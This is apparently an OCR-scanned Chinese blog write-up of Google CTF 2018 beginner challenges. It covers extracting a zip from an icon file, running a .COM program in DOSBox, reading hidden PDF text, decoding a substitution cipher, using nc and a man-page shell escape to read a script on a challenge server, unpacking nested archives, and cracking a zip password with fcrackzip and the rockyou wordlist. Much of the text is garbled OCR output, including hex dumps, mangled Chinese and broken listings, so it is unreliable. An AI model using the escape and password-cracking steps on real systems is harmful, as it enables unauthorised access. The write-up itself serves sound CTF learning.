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misc-floppy
—windowsEltx, B EiHexEEE, EXMHHEFXEIEE TPKIFLK—BRAR

| NON = foo.ico

1D4 | BOYEOVBE 300019289 ©93144F7 44499999 2009@0FF BOOB1199 92931444F 74491989 10@918¢@ (. .@ . 1D.DI...

1F8 | 00FBBO19 19314FFF FF499098 00992008 311F0099 99314444 44401900 991921008 19102300 .. 10..I..
21C | 19314FFF FF419191 9191910@ 81910198 @0314F44 4F491919 19191910 08890919 193147FF 10..A..... —o

240 | F7419191 921919191 92910191 91314444 44491919 19191919 19101919 19314444 444BBEBB | | .A........ ..1DDDI 1DDDK. .

264 | BBBBBBBB BBBBBEBB BBB11111 11111111 11111111 11111111 11110900 OFFFO0@0 @5DDO000 || . .........

288 | 03FFO000 Q1FFOGO0 QOFFO00 0OSDE0RD VE3FA0V0 PR1FOLDD GEOFOVED POVSPDRD CLA3VE0R 1
ZAC | 00010000 CPOEE00D PRREDODE VORORDED PRRVOEDD VPEDDEDE COEDOVED DOORDODE BROERDEO
2D0 | 00000000 0VEEEL0D PRLEOODR VOROBDD PROVODDD VREELODE CLEDOVED DEVEDIDE BOVVADLO
Z2F4 | 00000000 0000000 GA504B03 04140000 0EO8GESD 81D64CFD EES73E7B 00000038 GOOOAOOA PK

318 | @@1C0064 72697665 F22E7478 74555409 ©@O3CA®3 2DSBFC@3 2D5B7Y578 0BO00194 4F9A0100 driver.txtUT
33C | @4535F@1 @01D8B41 @AC23@14 @SF739CS 3B8@1657 D2ADQAAZ 765B1197 21F26D83 26BFFE24 S A L0 9.

s W.. vl . l.m.&.™$

360 | @D45SBCBE D56136B3 98767011 8B692058 7113093A 967FEEQE D9BBO@FD BAA11927 2DB66321 E...a6..vp .1 Xg :. ..... ©.. "-.h!
384 | 8C3AC6C2 62111388 EE978B26 67A852F8 71688FEF 17DDEB4D BCGE9BF4 E@7A7FBS 7D943A07 || .:..b ....&g.R.gh.. ..M.n...z .}.:

3A8 | 181D@ADC 813C494F CICC2B48 OE28A554 86BDFA@2 S04B0304 14000000 08000181 D64CE6SS .<I0..+H (.T... PK —alloo
3CC | 8466D600 DPOYELIOD ©VERV7OQ 1COR7777 772E636F 6D5554@09 @RO3C102 2D5BDBO3 2DSB7S578 || .f. o www . comUT . -[. -[ux

3F0 | 0BoE0124 4F9A0100 ©4535F01 @@3DCAD]1 4EC23014 @@D@7713 FEA11854 SOQAA77CO 86E212C8 0 ) =..

N.@ .w ™. TP.w...

414 | E2B2AE71 8492A174 23@35C2C 2D385B9C 4C8D53BF SDOF3CCF 47F9971C EF7B955C AAAZODCD ([ ...q...t# \,-8[.L.5.].<.G.. .{.\....
438 | D4556B61 39845858 E5257776 254BC86C 310968F5 9190E0BG 6BE18@D@ EA255521 ES475E87 || .Uka9.XX.%wv%K.11 h..... k....%Ul.GA.

45C | 36551C71 3BA6GCD7A 771ASF8B EQE8E467 3934C37E F7DOBD91 9EA7DD3D 76C2B1SB A3AZFEEE | ([ 6U qg;..zw

480 | 17836D14 B1395E7/D 817C6302 183D0129 52784F2C 81@F3253 676D8E9F 8EED1S9B C345B767 .m .94} _lec = DRx0._ 2Sgm.... ..E.g
4A4 | 1F32DB63 A4315502 @SC6E4QF 7AF329CA 3EQ@AQCD 2BD2061S 464B5122 A3DL1FEAF SCD7EBE@ 2.c.lU .. z.).> .+. FKQ"..™.....

4C8 | CA913F4A CFD1BFD6 41E31750 4BR1021F 03140000 00030080 31D64CFD EES73EYE 00000088 (| ..7J....A. PK
4EC | 00000004 00180000 CPROVOD]1 DVPOODA4 81000000 BR647269 7665722E 74787455 54050003
510 | CA®32D5B 75780B00 ©1044F9A 01000453 S5FO10050 4BO1021E 03140000 00280001 81D64CE6 || . -[ux 0.
534 | 858466D6 QPOPVEE]L ©VEEVAD7 V130000 VEELEVV1 VEOVOLA4 $1BFOVEO @O777777 2EG36FED || ..f. o

558 | 55540500 03C1022D S5B75780B 0001044F 94010004 535F0100 S504BO506 00000006 020002600 | | UT . -[ux
57C | 9DR00O0E D601000D G200

Signed Int little (select less data)

650 bytes selected at offset 764 out of 1414 bytes

NAET —TPKIFRBISCHRRE, FaRzip3Cfr, TR binwalk -Me K B K A A A# R H K.
MiHexFbinwalk ) 45 R # 7] LLE H MOX2FD 4G, B —ANzip3f, X4 driver.txt,

cqq@kali:~/CTF$ file foo.ico
foo.ico: MS Windows icon resource - 1 icon, 32x32, 16 colors
cqq@kali:~/CTF$ binwalk -Me foo.ico

Scan Time: 2018-07-04 19:59:48

Target File: /home/cqq/CTF/foo.ico

MD5 Checksum: e34cb819233241407497fa5531db7b89
Signatures: 344

._.Le..»{

. driver.txtUT

PK —nle
WwWWw . com
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DECIMAL HEXADECIMAL DESCRIPTION

765 Ox2FD Zip archive data, at least v2.0 to extract, compressed size: 123, uncompr
956 ©x3BC Zip archive data, at least v2.0 to extract, compressed size: 214, uncompr
1392 0x570 End of Zip archive

Scan Time: 2018-07-04 19:59:48

Target File: /home/cqq/CTF/_foo.ico.extracted/www.com
MD5 Checksum: 2f0@d40e93bf3a58737e1d857731a30d4

Signatures: 344
DECIMAL HEXADECIMAL DESCRIPTION
Scan Time: 2018-07-04 19:59:48

Target File: /home/cqq/CTF/_foo.ico.extracted/driver.txt
MD5 Checksum: 5b4321000c59c4e54dfa@c514d841446
Signatures: 344

DECIMAL HEXADECIMAL DESCRIPTION

cqq@kali:~/CTF$ 1s

foo.ico _foo.ico.extracted

cqq@kali:~/CTF$ cd _foo.ico.extracted/

cqq@kali:~/CTF/_foo.ico.extracted$ 1ls

2FD.zip driver.txt www.com

cqq@kali:~/CTF/_foo.ico.extracted$ 11

total 20

drwxr-xr-x 2 cqq cqq 4096 Jul 4 19:59 .

drwxr-xr-x 3 cqq cqq 4096 Jul 4 19:59 ..

-rw-r--r-- 1 cqq cqq 649 Jul 4 19:59 2FD.zip

-rw-r--r-- 1 cqq cqq 136 Jun 22 22:12 driver.txt

-rw-r--r-- 1 cqq cqq 225 Jun 22 22:08 www.com

cqq@kali:~/CTF/_foo.ico.extracted$ file driver.txt

driver.txt: ASCII text

cqq@kali:~/CTF/_foo.ico.extracted$ cat driver.txt

This is the driver for the Aluminum-Key Hardware password storage device.
CTF{qeY80sU6Ktko8BIW}

In case of emergency, run www.com
cqq@kali:~/CTF/_foo.ico.extracted$ file www.com

www.com: ASCII text, with CR, LF line terminators
cqq@kali:~/CTF/_foo.ico.extracted$ cat www.com
hD7X-t6ug_hl(]Wh8$715GG1-hbrX5prPYGWAQFIuxYGFK,1-FGIuqZhHIX%A)I!hSLX4SI!{p*S:eTM'~ ?0?V;m;CThe Foobaniz
cqq@kali:~/CTF/_foo.ico.extracted$ zipinfo 2FD.zip

Archive: 2FD.zip

Zip file size: 649 bytes, number of entries: 2

-rw-r--r-- 3.0 unx 136 tx defN 18-Jun-22 22:12 driver.txt
-rw-r--r-- 3.0 unx 225 tx defN 18-Jun-22 22:08 www.com

2 files, 361 bytes uncompressed, 337 bytes compressed: 6.6%

CTF{qeY80sU6Ktko8BJW}



T#DosBox, REHBEFLAZR, HRKCHBEXNERT: WWMEREEHAE~/DosBox T,

o DOSBox 0.74, Cpu speed: 3000 cycles, Frameskip O, Program: DOSBOX
[Z:\>ifconf ig
I[llegal command: ifconfig.

[Z:“>ping baidu.com
I[llegal command: ping.

Z:s>mount © “/DosBox
Drive C is mounted as local directory -sUsersrscaiqiqi-DosBox~

I[llegal command: c*.

Nedir
irectory of C:\.
<DIR> 04-07-2018 21:38
<DIR> 04-07-2018 21:38
0 File(s) 0 Bytes.
Z Dir(s) 262,111,744 Bytes free.

INOpwd
Illegal command: puwd.

RIERRH AT RS AERANBRT, REMAXMHSE, FRETE, WMAHRTZH. BAZEdire j5&E B, B
DARAERAT S JEMIBR T XA, B fRIX AT BN R AE I SRR 2R € B R T IR B

DOSBox 0.74, Cpu speed: 3000 cycles, Frameskip O, Program: DOSBOX
<DIR> M-07-2018 21:38
0 File(s) 0 Bytes.
Z Dir(s) 262,111,744 Bytes free.

Nedir
irectory of C:\.
<DIR> 04-07-2018 21:40
<DIR> 04-07-2018 21:40
0 File(s) 0 Bytes.
Z Dir(s) 262,111,744 Bytes free.

N> java
I[llegal command: jawva.

TN
e Foobanizer9000 is no longer on the OffHub DMZ.
INPLRRS . COM
e Foobanizer9000 is no longer on the OffHub DMZ.
INPLRRS . COM

I[llegal command: waad.com.

I[llegal command: wead.

/ITODO

letter



YR hitps://storage.googleapis.com/gctf-2018-
attachments/5a0fad5699f75dee39434cc26587411b948e0574a545ef4157e5bf4700e9d62a
TEIRZERAZpMH, BE, BB —Apdf, RERKIHFPBMELHP KRG T .

Fake Name
Fake Address
Fake City

A couple of days ago

IOT Credentials

Dear Customer,

Thanks for buying our super special awesome product, the Foobarnizer 9000!
Your credentials to the web interface are:

o Usemame: I
o Password: | NNEEG—

Note: For security reasons we cannot change your password. Please store them safely.

MTFpdifT I REEA LR T B (EOWFRMRBRZAURN  TUERSETH, 0T, HAKE.
Bt & 4 B appdT T 2 J5 A%

Fake Name Fake Address Fake City
IOT Credentials
Dear Customer,
A couple of days ago

Thanks for buying our super special awesome product, the Foobarnizer 90@@! Your credentials to the web interface are:
e Username: e Password:
Note: For security reasons we cannot change your password. Please store them safely.

CTF{ICanReadDis}

il it chrome) %5 23 4T 2 J5 I #% 5K


https://storage.googleapis.com/gctf-2018-attachments/5a0fad5699f75dee39434cc26587411b948e0574a545ef4157e5bf4700e9d62a

Fake Name

Fake Address

Fake City

A couple of days ago
IOT Credentials

Dear Customer,

Thanks for buying our super special awesome product, the Foobarnizer 9000!

Your credentials to the web interface are:

e Username:

L P XY CTF {ICanReadDis}

Note: For security reasons we cannot change your password. Please,store them safely.

TFRRERXAT BI—NCARBPDFITHE T 2GR AEHRK. RRERLHchrome[iE—L, ALEHIFCE, MALZBHN
Wi appFHAaE.

1. RE=E
2. ENSFERIREEEEI T
3. WASITEDSRE

FERAX
February 1, 2018

1. BEIRLFANHNERBEE

2. BB HEEINNEEBMETIE
3. WARITHaaE




%X writeup, FEBXAEGIRZIRI RS, POCRB R B, RER, BORT .
il

1 STEP - Upload file 2 STEP - Select language and output format 3 STEP - Convert

CHINESESIMPLIFIED = Microsoft Word (docx) v

180705-005433.png

fwE| Download Output File

2, ERRFGRSEZENER, [FEE ANS. BFINEFRNNAE—EHREF, ¢ ARBRECZTAER, EBREX. £E

8 AN NAR LEAREATE RS BRWEXESINA NWEXAREN, B0 BE, MNEREEGFMETER

RIGIERHY,

CERERHEZENARBRR, RH £ EESRIZE, —BY, —BETHRL. LR PREVWETH, RNMEFT. RiEMHh
B I, 1978F7AXOAESREBATSER, X REEMIMAMN—REESERIN. *EE FELTHME: sEHER, &

WEEAT LERE, RIS, HORBEE. SRNT BRENRTREN, MT ST RERE T ISR NE

i, EohigFlouan ssEAsS#, FANMEHNO, REFAENES EREBEAN N BPRTESUAI2BRH+— BEd2aLE

L ot Al I bl ] 6 v 8 T S A tH iR EEEANtE Y SpriE I A T AL WESEEY | S S ] s TP gt i 8 PR A

AR B RAE VT A E A gocr 5, BRI BT —TF, BRI TRZREA.

wget http://www-e.uni-magdeburg.de/jschulen/ocr/gocr-0.50.tar.gz
tar -xvf gocr-0.50.tar.gz

cd gocr-0.50.tar.gz

make

sudo make install

macOSHI Z 2 J5 M E RIFRILIE R brew install gocr HILLLTF 4] .

$ gocr OCR_is_cool.out.png [1:41:49]
sh: pngtopnm: command not found

ERROR pnm.c L328: unexpected EOF

TIZElinux T =2 7T A o

$ sudo apt install gocr
$ gocr OCR_is_cool.png > OCR_is_cool.out.png

FEXAGRERTITIT R, BRERFPRCESEMERT, BERERF!

x
'_3:7__._._mail.g@dgle.cOm. _1);_
S ok el xe! "z x" vzl ) 7! __zf < _17:7:)

SearCh mail

t Compose

Your iDropDrive is ready Inb_ x
@ Inbox.S

—8rred DropD__ve_egn<, ,DrdpDr, ,veg, ctfcompet, ,1_,0n, com, Jun23.20._g.g;09Am it _ _.
16me_
Wxtk Vnlmhhk.

Senl
Px tii_ a@ir mh pxemh t1 hnk gxpxlm vnlmhhk hy hnk Ixmkx bWMiWkbox vehnwybex Ialkbgz Ixkobwx. T lyx ienrx yhk _ee mnk ybexl.
‘afl’ ©
v More Lmhkxtgrybex
bWkhiWk_x Imikml rhn pbma 15 IU hy mxx hgebgx hk hyye x Imhktzx, Ih mn _g dxxi ptkxs, ubgtkbxl, i_bgmbgzl, yeul, ybkfp_kxl. ubmvhbgl, pMmxnil - tgnmabgz.
t Win_ermu_ed_



https://ctftime.org/writeup/10323
https://onlineocr.net/

Rhnk ybexl bg bWkhiWk_x v4g ux kxhaxw ykhf tgr yhhutgbsxk, 1_km yMwzx 2000. Iftkm alnl, Mxfih-t-_mbv, hk _t iv. Lh pmkxoxk rhn zh, rhnk ybexl yheehp.

Lalkx ybexl tm yhevmk]
Rhnv4gjnbvderbqi_bmxhmmkJmhobxp ,whpgehm, _mmee_uhkbnxhgteemaxybexlmnptgmobtxfibebmmIv_ahgml . CnlmzboxmammmebgdvMY{v1i_kvbimkb_lnulmbmnmbhgvbimk)tmmaxrngmx1l_eerhnkmmt.

Yhk xqttiex, mii_i _ eblm hy ybexl mabm rhn'kx wvnkkxgmer Imhktqz pbma nl:
hyyaanulybktpikx. ChagK

BHM_v_gmbtel . iwyl_wxexmxw\) PbgmxMmxw

Yhhungbmk3000_Ftgntejmy P_mxMmw

yhh.bvh Mnkuh

Lbgvx px m_dx Ixvnkbmr oxkr Ixkbhnler tgw _ hhwxk mh ikhmxvm rhn u_bglm onegxkbJbebmbxl ebdx x_be tgw Mme_l. px'kx Ixmbgz mn rhnk v_gmb_el nlbgz max mbh-ikhoxg tbebm kr-z_ @lak_
IMrMv vbimk.

Atiir biNkhiWk_bgz!

NO@ recenl chals _ Reply  _ Forward
Sta_amwone

2 A 1) 8 BB WA A ) PR 2 A o) B Ok LB 2 (B 46 8 ) 7 28 T R [(https://www.rot13.com/)
BIEE25FAT R R, 1818, BITHIRMERHR T, EEHER.

rot13.com
About ROT13

Rhnk ybexl bg bWkhiwk_x vdg ux kxhaxw ykhf tgr ynhutgbsxk, I_km yMwzx 2000. Iftkm
alnl, Mxfih-t-_mbwv, hik _t iv. Lh pmkxoxk rhn zh, rhnk ybex] yvheehp.

Lalkx ybex| tm yhevmkJ
Rhnvdgjnbvderbgi_bmxhmmkJmhobxp,whpgehm,_mmee_uhkbnxhgteemaxybeximnptg
mobtxfibebmmiv_ahgml.Cnimzboxmammmebgd VMY {v1i_kvbimkb_Inuimbmnmbhgvbimk

Itmmaxrngmix!|_eerhnkmmt.

Yhi xgttiex, mii_i _ eblm hy ybex] mabm rhn'kx vnkkxgmer Imhktgz

b Iz
p ma n boaas eononn s s ebonlakonilose o Fal SN W A P A
ROT? +

l

For exaaple, tpp_p _ list of files thit you're currently Ptoraxg with us:
offhhubQfirawpre.o_  JohnTR

10T_c_ntials.pdfs_deleted)) WinteTted

FoobunitraVvyv_Manualgtf W_teTted

foo.ico Turbao

Since we t_ke Pecurity very Periously and _ coder to protect you
b_inst vulneriQilities like e_il and Ttl_s. we're Peting tu your c_nti_ls using the tio-proven
ailit_ry-g_ Oshr_ PTtTc ciptr.

Happy iDropDr_ing! .

RGBT XA
CTF{clp_rciptri_substitutionciptr)

ERARBHETRE, TERFEREANXFACE TR, REHREXMEHRIEIERER,

moar


https://www.rot13.com/

#FE® nc -v moar.ctfcompetition.com 1337

127 A 5 H BRIAMK SR AT LAFT FF X /N #:

HHZER— M manvaliH, fE—MREFRTEINEET, /TR | ma4Rur. T2,
HEREMT

-v moar.ctfcompetition.com 1337
found 0 associations
found 1 connections:
1: flags=82<CONNECTED , PREFERRED>

outif end

src 192.168.1.10 port 61526

dst 35.933.3.64 port 1337

rank info not available

TCP aux info available

Connection to moar.ctfcompetition.com port 1337 [tcp/menandmice-dns] succeeded|
socat(1) socat(1)

NAME
socat - Multipurpose relay (SOcket CAT)

SYNOPSIS
socat [options] <address> <address>
socat -V
socat -h[h[h]] | -2[2[?]]
filan
procan

DESCRIPTION
Socat is a command Line based utility that establishes two bidirec-
tional byte streams and transfers data between them. Because the
streams can be constructed from a Large set of different types of data
sinks and sources (see address types), and because Lots of address
options may be applied to the streams, socat can be used for many dif-
ferent purposes.

FiLan is a utility that prints information about its active file

descriptors to stdout. It has been written for debugging socat, but

might be useful for other purposes too. Use the -h option to find more
Manual page sccat{1i) Line 1 [press h for help or g to guit)|QEERE-TREFETH R TR ET LIS - 0]
ILs -al /home/moar/disable_dmz.sh

-r-xr-xr-x 1 nobody nogroup 695 Jun 26 15:56 /home/moar/disable_dmz.sh
ldone (press RETURN)lcat /home/moar/disable_dmz.sh

lcat /home/moar/disable_dmz.sh
#1/bin/sh

# Copyright 2018 Google LLC

#

# Licensed under the Apache License, Version 2.0 (the "License”);
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at

https://www.apache.org/Licenses/LICENSE-2.0

# Unless required by applicable Law or agreed to in writing, software

# distributed under the License is distributed on an "AS IS" BASIS,

# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific Language governing permissions and

# Limitations under the License.

eche 'Disabling DMZ using password CTF{SOmething-CATastnophic}/
echo CTF{SOmething-CATastrophi

Security by obscurity



BT EATR IS B 1R o B SO AT R R BRAE 2 5, BB STH R IR R Zp X, TRBATH binwalk -Me RN E R 89 SO
1T ARAE,

:~/CTF$ unzip password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.
n.o.p.p.o.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g
Archive: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1i.j.k.L.m.n.o.p.p.0o.n.
m.L.k.j.i.h.5.f.e.d.c.b.a.a.b.c.d.e.f.3
inflating: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.p.o
.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f
:~/CTF$ unzip password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.
n.o.p.p.o.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f
Archive: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1.j.k.L.m.n.o.p.p.o.n.
m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f
inflating: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.c.p.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.p.o
L.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e
:~/CTF$ unzip password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.
n.o.p.p.o.n.m.L.k. j.i.h.g.f.e.d.c.b.a.a.b.c.d.e
Archive: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.ec.d.e.f.g.h.i.j.k.L.m.n.o.p.p.0.n.
m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e
inflating: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.p.o
.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d
:=/CTF$ unzip password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.
n.o.p.p.o.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d
Archive: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1.j.k.L.m.n.o.p.p.0o.n.
m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d
inflating: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1i.j.k.L.m.n.o.p.p.o
.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c
:~/CTF$ unzip password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.
n.o.p.p.o.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c
Archive: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1.j.k.L.m.n.o.p.p.0o.n.
m.L.k.j.i.h.g.f.e.d.c.b.a.a.b.c
inflating: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1i.j.k.L.m.n.o.p.p.o
.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a.b
:~/CTF$ unzip password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.
n.o.p.p.o.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a.b
Archive:

inflating: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1i.j.k.L.m.n.o.p.p.o
.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a

:~fCTF$ unzip password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.
n.o.p.p.o.n.m.L.k.j.i.h.g.f.e.d.c.b.a.a
Archive: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1i.j.k.L.m.n.o.p.p.o.n.
m.L.k.j.i.h.g.f.e.d.c.b.a.a
extracting: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1.j.k.L.m.n.o.p.p.o
.n.m.L.k.j.i.h.g.f.e.d.c.b.a

:~fCTF$ unzip password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.
n.o.p.p.o.n.m.L.k.j.i.h.g.f.e.d.c.b.a
Archive: password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1.j.k.L.m.n.o.p.p.0o.n.
m.L.k.j.i.h.g5.f.e.d.c.b.a

End-of -central-directory signature not found. Either this file is not

a zipfile, or it constitutes one disk of a multi-part archive. In the

Latter case the central directory and zipfile comment will be found on

the Last disk(s) of this archive.
unzip: cannot find zipfile directory in one of password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.
a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.p.o.n.m.L.k.j.i.h.g.f.e.d.c.b.a or

password.x.a.b.c.d.e.f.g.h.1i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1. j.k.L.m.n.o.p.p.o.n.m.

L.k.j.i.h.g.f.e.d.c.b.a.zip, and cannot find password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b
.c.d.e.f.g.h.i.j.k.L.m.n.o.p.p.o.n.m.L.k. j.i.h.g.f.e.d.c.b.a.ZIP, period.

:~JCTF$ file password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.n
.o.p.p.o.n.m.L.k. j.i.h.g.f.e.d.c.b.a
password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.1.j.k.L.m.n.o.p.p.o.n.m.L.k. j.1i.
h.g.f.e.d.c.b.a: XZ compressed data

:=~/CTF$ LL password.x.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.L.m.n.o
.p.p.o.n.m.L.k. j.i.h.3.f.e.d.c.b.a
-rw-r--r-- 1 cgg cqgq 7216 Jun 14 19:53 passwordix.a.b.c.d.e.f.g.h.i.jik.L.m.n.o.p.a.b.c.d.e
f.g.h.i.j.k.L.m.n.o.p.p.o.n.m.L.k. j.i.h.5.f.e.d.c.b.a

ZH—itt, MARTXHEERK, UETRAHTRERE T, BINBKEXHESL—T, %8HME.

T RATH B 52 BRI B B8 301, TXZ, bzip2 XREALHFHEWK, FrilBir R ek Zps#E 7220 . A find . 3RE]
LET B RBEFETEXTHERM, K5 file REEBRERNATENGER.

i

$find _@.extracted > _@.extracted_files.txt # ¥i%HZF T A XHHIXHLHIES KB SCA B
$cat _@.extracted_files.txt |xargs file|grep -v "XZ"|grep -v "bzip2"|grep -v "directory" # XtiX&&3C{42

Every 1.9s: 1s -FlLt



total 264
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-PW=P==pP=-=
-PW=P==pP=-=
-PW=P==pP=-=
-PW=P==pP=-=
-PW=P==pP=-=

4]
0~
(-
[

[ Y——

caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi
caigiqi

[ —
[ ——

[ —

[
Drommsmmmsmnsns
Drommsmmsmsmonsmsns
Dromemsmsmmsmmsmsnsns
Dromemsmsmmsmmsmsnnsns
Drommsmmsmsmmsmmsnsnsns
[
Drommsmmmsmmsmsmsmsmamsnsns
Drommsmmmsmonsmsmsnsmmsnsnsns
Drommsmmmsmomsmsmsmsmmsnsnanses
Dot

[

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

G T I Y I I N Y [t N e e I e e T Y T T Y (Y R [

[
AUV DD D DN

~/G1EPP / /what /@_dir Y P

7-Zip [64] 16.82 : Copyright (c) 1999-2016 Igor Pavlov : 2016-@5-21
p7zip Version 16.02 (locale=utf8,Utflé=on,HugeFiles=on,64 bits,4 CPUs x64)

Scanning the drive for archives:
1 file, 234 bytes (1 KiB)

Extracting archive: lesmmmmmmnns

PAtN = Lemmmommmmonsmonomnanons
Type = zip
Physical Size = 234

Enter password (will not be echoed}:l

»  watch (watch)
Every 1.9s: ls -Flt

total 144

-rw-r--r-- caigiqi
-rw-r--r-- caigiqi
-rw-r--r-- caigiqi
-rw-r--r-- caigiqi
-rw-r--r-- caigiqi
-rw-r--r-- caigiqi
-rw-r--r-- caigiqi
-rw-r--r-- caigiqi
-rW-r--r-- caiqiqi
-r'wW-r--r-- caigiqi
-r'wW-r--r-- caigiqi
-r'wW-r--r-- caigiqi
-r'wW-r--r-- caigiqi
-r'wW-r--r-- caigiqi
-r'wW-r--r-- caigiqi
-r'wW-r--r-- caigiqi
-r'wW-r--r-- caigiqi
-r'wW-r--r-- caigiqi
-r'wW-r--r-- caigiqi

password. txt
1

1~

L
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HX/H - J IRTVUN A NS Ll o B B Ny > 3IANJTRY g vy o

[~/GitProjects/CTF/GoogleCTF2018/whatever/0_dir]$ file 1
1 : Zip archive data, at least v1.0 to extract

&7 — TFgoogle ® 774 I E4A L 72,
https://github.com/google/google-ctf/blob/master/2018/beginners/misc-security-by-obscurity/packer.sh
RS — A8 S IR A T B, AR

$ zip -P "cqq" password.zip password.txt

SEERADBN TR zip2john Ml john BLEREEETS, FREBXANVMETHIE T — A0 Ezpins S T A ferackzip AR
BN, si—F8 ! ! ! ArEERE NasdfRE F F G, A Hh i8S bt i caiqiqi BB B H R

cqq@kali:~/CTF$ fcrackzip -p /usr/share/wordlists/rockyou.txt -u -D pass.zip

PASSWORD FOUND!!!!: pw == asdf

cqq@kali:~/CTF$ fcrackzip --version

fcrackzip version 1.0

cqq@kali:~/CTF$ fcrackzip -p /usr/share/wordlists/rockyou.txt -u -D pass.zip

PASSWORD FOUND!!!!: pw == asdf
cqq@kali:~/CTF$ 1s
capture.png _foo.ico.extracted OCR_is_cool.png password.zip
cqq.txt hash.txt passwordl.txt pass.zip
foo.ico OCR_is_cool.out.png password.txt
cqq@kali:~/CTF$ cat c
capture.png cqq.txt
cqq@kali:~/CTF$ zip -P "caiqiqi" cqq.zip cqq.txt
adding: cqq.txt (deflated 2%)
cqq@kali:~/CTF$ unzip cqq.zip
Archive: cqq.zip
[cqq.zip] cqq.txt password: cqq@kali:~/CTF$
cqq@kali:~/CTF$
cqq@kali:~/CTF$ fcrackzip -p /usr/share/wordlists/rockyou.txt -u -D cqq.zip
cqq@kali:~/CTF$ fcrackzip -p /usr/share/wordlists/rockyou.txt -u -D cqq.zip

firmware

B,

$ file challenge.ext4.gz [14:59:50]
challenge.ext4.gz: gzip compressed data, was "challenge2.ext4", last modified: Fri Jun 22 13:54:28 2018
$ gunzip challenge.ext4.gz

$ file challenge.ext4 [15:00:06]
challenge.ext4: Linux rev 1.0 ext4 filesystem data, UUID=00ed6lel-1230-4818-bffa-305e19e53758 (extents)
$ 11 challenge.ext4 [15:00:22]

-rw-r--r-- 1 caiqiqi staff 300M 7 6 14:59 challenge.ext4

R—MnuXHFRZ, BHRERIinuxRZEHFEEF TR . F7THFEIubuntu-16.04-desktop. FHECTFHZ, HEHZ.

=» sudo mount -t ext4 challenge.ext4 /home/cqq/tmp/CTF
=» cd CTF
= CTF sudo find . |grep -i CTF


https://github.com/google/google-ctf/blob/master/2018/beginners/misc-security-by-obscurity/packer.sh
